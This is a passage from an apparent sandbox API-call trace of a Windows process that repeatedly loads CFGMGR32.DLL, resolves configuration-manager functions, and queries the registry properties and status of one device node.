(hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.211] malloc (_Size=0x18) returned 0x196ef0d2020 [0229.211] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.211] malloc (_Size=0x3e) returned 0x196ef0fba40 [0229.211] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fba40, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fba40, pulLength=0x67117d608) returned 0x0 [0229.212] free (_Block=0x196ef0fba40) [0229.212] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0229.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69798644, dwHighDateTime=0x1d9eb0c)) [0229.212] SetEvent (hEvent=0x248) returned 1 [0229.214] malloc (_Size=0x18) returned 0x196ef0d1e20 [0229.214] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.214] free (_Block=0x196ef0d1e20) [0229.215] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.215] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.215] free (_Block=0x196ef0d1e60) [0229.215] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856a60 [0229.215] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.215] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.215] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.215] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0229.215] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.215] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.215] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0229.215] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.216] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e390, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.216] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e398, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.216] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0229.217] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856a60) returned 1 [0229.217] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.217] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.269] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0229.269] malloc (_Size=0x48) returned 0x196ef0fbb30 [0229.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x698326db, dwHighDateTime=0x1d9eb0c)) [0229.269] SetEvent (hEvent=0x248) returned 1 [0229.272] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.272] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.276] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0229.276] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.279] malloc (_Size=0x48) returned 0x196ef0fbb80 [0229.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x698326db, dwHighDateTime=0x1d9eb0c)) [0229.279] SetEvent (hEvent=0x248) returned 1 [0229.283] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.283] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.286] malloc (_Size=0x18) returned 0x196ef0d1960 [0229.286] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.287] malloc (_Size=0x48) returned 0x196ef0fbb80 [0229.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69857293, dwHighDateTime=0x1d9eb0c)) [0229.287] SetEvent (hEvent=0x248) returned 1 [0229.290] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.290] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.294] malloc (_Size=0x18) returned 0x196ef0d1de0 [0229.294] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.295] malloc (_Size=0x48) returned 0x196ef0fc080 [0229.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69857293, dwHighDateTime=0x1d9eb0c)) [0229.295] SetEvent (hEvent=0x248) returned 1 [0229.299] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.299] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.303] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0229.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0229.304] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0229.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6987d4dc, dwHighDateTime=0x1d9eb0c)) [0229.304] SetEvent (hEvent=0x248) returned 1 [0229.309] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.309] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.409] malloc (_Size=0x18) returned 0x196ef0d19e0 [0229.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.414] malloc (_Size=0x48) returned 0x196ef0fbd10 [0229.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x699884f1, dwHighDateTime=0x1d9eb0c)) [0229.414] SetEvent (hEvent=0x248) returned 1 [0229.418] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.418] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.421] malloc (_Size=0x18) returned 0x196ef0d1980 [0229.422] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2f, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0229.422] malloc (_Size=0x48) returned 0x196ef0fb630 [0229.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x699ae6f2, dwHighDateTime=0x1d9eb0c)) [0229.422] SetEvent (hEvent=0x248) returned 1 [0229.427] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.427] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.429] GetProcAddress 